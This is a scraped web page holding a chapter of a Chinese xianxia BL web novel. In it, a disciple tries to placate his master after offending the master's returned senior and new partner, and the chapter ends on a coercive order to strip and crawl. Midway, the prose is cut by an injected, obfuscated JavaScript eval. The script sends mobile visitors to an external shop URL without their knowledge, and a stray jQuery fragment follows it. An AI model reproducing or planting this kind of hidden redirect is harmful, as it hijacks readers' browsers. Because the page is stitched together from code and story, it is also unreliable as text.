文趣网 > 其他小说 > 师娘他一直在觊觎我 > 7. 脱了,爬过来
    “师兄……你闭关的的这些年,我实在……思念成狂。这徒儿生得有几分像你,我将铃铛放在他身上,也不过是聊以慰藉,自欺欺人罢了。”

    谢无咎说这些时,全程没有看沈栖一眼,说到最后,他的声音甚至带上了一点近乎卑微的恳求。

    “如今师兄既已回来,我日后断不会再如此。”

    沈栖站在一旁,听得心都冷了。

    他一直觉得哪怕自己只是替身,谢无咎对他也并非全无真心,至少摄魂铃是谢无咎真正送给他的东西。直到今日才知道,这铃铛本就不是给他的,不过是谢无咎又借着他睹物思人了,难怪那铃在晏辞手中会那样温顺。

    晏辞安静地听完了谢无咎的话,神色并无太大波澜,只在他话音落下后,伸出骨节分明的手,将那银铃收回了袖中。

    “既然如此,这铃铛,我便拿回来了。”

    这一句平平淡淡,谢无咎却像是被刺了一下,过了许久,才略显生硬地转开话题,低声问:“师兄在此住得可还习惯?若有不合心意之处,或还想添置什么,我立刻命人去办。”

    沈栖目光在这间装饰得过分繁复华美的婚房中缓缓扫过,鲜红帷幔,鎏金梁柱,可即便这样,谢无咎仍担心怠慢了人。

    晏辞道:“此处华美,却并非我素日所喜。明日,我便搬回渡尘居。”

    这个名字沈栖是听过的。

    无量宫分为东西南北四大殿,谢无咎平日居于中央的主殿,沈栖住的便是东边的梅院,而渡尘居,却是独立于四院之外的所在。谢无咎常年命人守着,从不让任何人靠近。沈栖在无量宫住了这些年,连那院门朝哪开都不知道。

    “师兄,我们如今既已……”

    谢无咎刚想说如今我们既是道侣,何须分居两处?却见晏辞的视线却似有若无地掠过了垂首立在角落的沈栖。

    下颌微微绷紧,他到底还是把后半句咽了回去,只低声道:“也好。师兄想住在哪里,便住在哪里。”

    晏辞未再接话,只淡淡“嗯”了一声。

    沈栖在这诡异的气氛中落下一滴冷汗。

    虽已成婚,行了婚仪,但这二人却不睡在一处,站在一处时,言谈间却仍旧守着旧日师兄弟的分寸,听不出半分新婚道侣该有的亲近狎昵,反倒像是谢无咎一头热,而晏辞只是勉强给了个面子。

    谢无咎显然也意识到了这一点,像是急于弥补什么似的,立刻道:“对了,师兄,我还有东西要送你。”

    随着他话音落下,外头立刻有侍从鱼贯而入,抬进来数个沉甸甸的紫檀木箱。

    箱盖一一掀开时,霎时间宝光流转,满室生辉,里头竟全是些世间难寻的奇珍异石,品相个个极佳,一看便知不是一朝一夕能搜罗齐的。

    沈栖在旁边悄悄扫了一眼,心里都忍不住跟着抽了口气。

    谢无咎素来爱收集这些亮晶晶的好东西,他是知道的。过去他也不是没偷偷摸进过谢无咎的私库,趁人不备拿出来把玩两下,摸一摸、数一数,再心满意足放回去,他那时还觉得自己挺有出息,至少也算见过不少宝贝。

    而此刻,谢无咎竟将这些东西成箱成箱地抬到晏辞面前,还一副生怕对方会拒绝的模样。

    谢无咎笑道:“师兄,你往日最爱收集这些灵石异宝。这些都是我这些年四处搜罗来的,你看看,可有喜欢的?”

    晏辞却只是垂眸看了片刻,神色里并无多少惊喜,过了一会儿,才轻声道:“我往日里……喜欢这些?”

    谢无咎先是一怔,随即像是想起什么似的,低低笑了笑,语气里竟带出几分眷恋:“师兄闭关了这么多年,莫不是连这个都忘了?从前在昆仑时,你的书房中总爱摆这些,还说它们虽不言不语,却有灵气,比人有趣。”

    他说到这里,声音微微低了下去:“自闭关后,我便将它们收好,总想着你若有朝一日回来,看见这些旧物,或许会欢喜几分。”

    晏辞安静听完,只淡淡道:“原来你还记得这些,那暂且先搁在那边吧。”

    这回应委实算不上热络,谢无咎面色微不可察地一僵,袖中的手也微微收拢了些。

    再转头,看见沈栖仍站在角落,那点无处安放的难堪便有了去处。

    他声音瞬间沉了下来:“站在那里做什么?还不过来给你师娘倒茶。”

    沈栖一个激灵,连忙低着头走上前去。

    昨夜那点发疯作死的气势,如今早不知被吓飞到哪儿去了。他老老实实端起茶壶,给晏辞斟茶,生怕哪里不对,又惹出事来。

    偏偏就在这时,谢无咎还冷眼瞧着他:“师兄,昨日这逆徒放肆无状,冒犯于你。”

    “如今要如何惩处,全凭你心意,我绝无二话。”

    闻言,沈栖手不受控制地微微一颤,几滴滚烫的茶水溅到手背上,险些没一嗓子嗷出来,好歹忍下去了。

    他立刻将茶盏放回案上,道:“师尊,弟子知错了。昨夜弟子实在是酒喝多了,脑子昏沉,这才做出那般荒唐事,说出那些混账话来。”

    说到这里,沈栖喉头像是真的哽住了,连肩膀都细细抖了两下。

    一半是演的。

    一半是烫的。

    这茶水是真烫啊!他都怀疑是不是晏辞想整他,故意放了一壶滚烫的茶水在这了。

    沈栖哭得越发真情实感了几分,甚至都不太需要装。

    他小心翼翼地伸出手,用指尖去勾谢无咎的衣角,却不怎么用力。

    要的就是这份怯怯的神态,用林昭的话来说,这叫“将碎未碎,最惹人怜”。

    谢无咎一向并不喜欢别人太过放肆地缠着他,却也同样不喜欢别人全然无视他。像这种分寸拿捏得刚刚好的依赖,反倒最容易让他心软。

    “师尊,弟子真的知错了,弟子日后一定离师娘远远的,再也不敢胡来,昨夜……昨夜只是酒喝得太多,脑子糊涂了,才会犯那样的浑。”

    沈栖越想越觉得自己冤。

    谁知道你娶的道侣就是你这些年在等的白月光啊!

    早知道会撞上这种场面,他当初说什么也不会回来。

    毕竟外面天大地大,他随便找个地方苟着不好吗?他可没有那个跟正主抢人的胆子,而且如果早知道在街上遇到的银发美人就是晏辞,他之前也不会在醉仙居做那种蠢得没边的事了。

    真的是要死了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948878|214106||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “闹够没有?”

    谢无咎的声音冷得像一盆冰水兜头浇下来,叫沈栖瞬间把后半句话咽了回去。

    “若非师兄宽仁,”谢无咎垂眼看着他,语气里没有半分温度,“你以为你现在还能跪在这里求饶?”

    这话听着刺耳,可沈栖眼尖,偏偏瞥见了谢无咎背在身后的那只手却微微收拢了起来。

    沈栖在心底悄悄松了口气。

    还好,还好。

    至少目前看来,他这一套还没彻底失灵,师尊还吃他这一套痴情怯懦的姿态。

    谢无咎闭了闭眼,对晏辞沉声道:“师兄,是我平日疏于管教,纵得他如此不知天高地厚,他留在这里想必更惹你不喜,不如我带回去好生惩戒一番,也算是给师兄一个交代。”

    沈栖听见这话,差点没当场给谢无咎磕一个响头。

    虽然回谢无咎那边,多半也躲不过一顿收拾,即便是再入虎口,可那总归是他熟悉的虎口,再凶也好歹知道怎么哄、怎么躲、怎么卖惨,远比留在晏辞身边强,

    “是啊,师娘那地方定是清清静静的,弟子实在不敢叨扰,弟子这就跟师尊回去,闭门思过,痛改前非,重新做人。”

    沈栖边“诚恳”说着,边悄悄抬起朦胧泪眼,恰撞上晏辞的目光,赶紧低下头。

    他总觉得对方似乎将他心里想的都看得一清二楚,无端觉得后颈凉飕飕的。

    片刻后,晏辞唇角牵起一抹极淡的弧度:“无妨,带他离开便是。”

    沈栖如蒙大赦,立刻顺杆而下,伏低身子:“多谢师娘成全!”

    那模样乖得很,乖得仿佛昨夜那个当着人家洞房花烛夜发疯的人根本不是他。

    谢无咎似乎还想再说什么,晏辞却已先一步抬了抬手,轻描淡写地下了逐客令:“我有些乏了,你们走吧。”

    谢无咎见他眉宇间果然透出些倦色,神情立刻和缓了几分,也顾不上再多说旁的,只低声道:“那师兄好生歇息。我明日再来看你。”

    他说这话时眉眼带着关切,可转向沈栖时,方才那点温情便荡然无存。

    “还愣着做什么?走,别在这儿碍你师娘的眼。”

    对正主沈栖心里暗暗翻了个白眼,面上却不敢露出半分,只老老实实地应了声“是”,赶紧跟着谢无咎退了出去。

    一直候在外头的轿辇早已备好,沈栖坐下时才后知后觉地发现自己后背都是湿的。

    一路无话,只有车辇行驶时细微的颠簸.

    谢无咎指腹缓缓摩挲过左手拇指上的黑玉扳指,像是在压着什么。

    沈栖太知道这人生气时是什么样子,每次他做这样的动作,就代表他要发怒了。

    轿内空间宽敞,可沈栖却觉得逼仄窒闷,他也不敢出声,脑子里却在飞快盘算待会儿进去要怎么认错,是顺着他骂认错还是索性装晕过去算了……

    他正胡思乱想着,轿辇便停了下来。

    谢无咎先一步下轿,半分停顿都没有,径直往寝殿里走,沈栖连忙跟上。

    行至内室,前方高大的身影忽然停住,谢无咎连头都没回,只冷冷丢下一句:“把衣服脱了,爬过来。”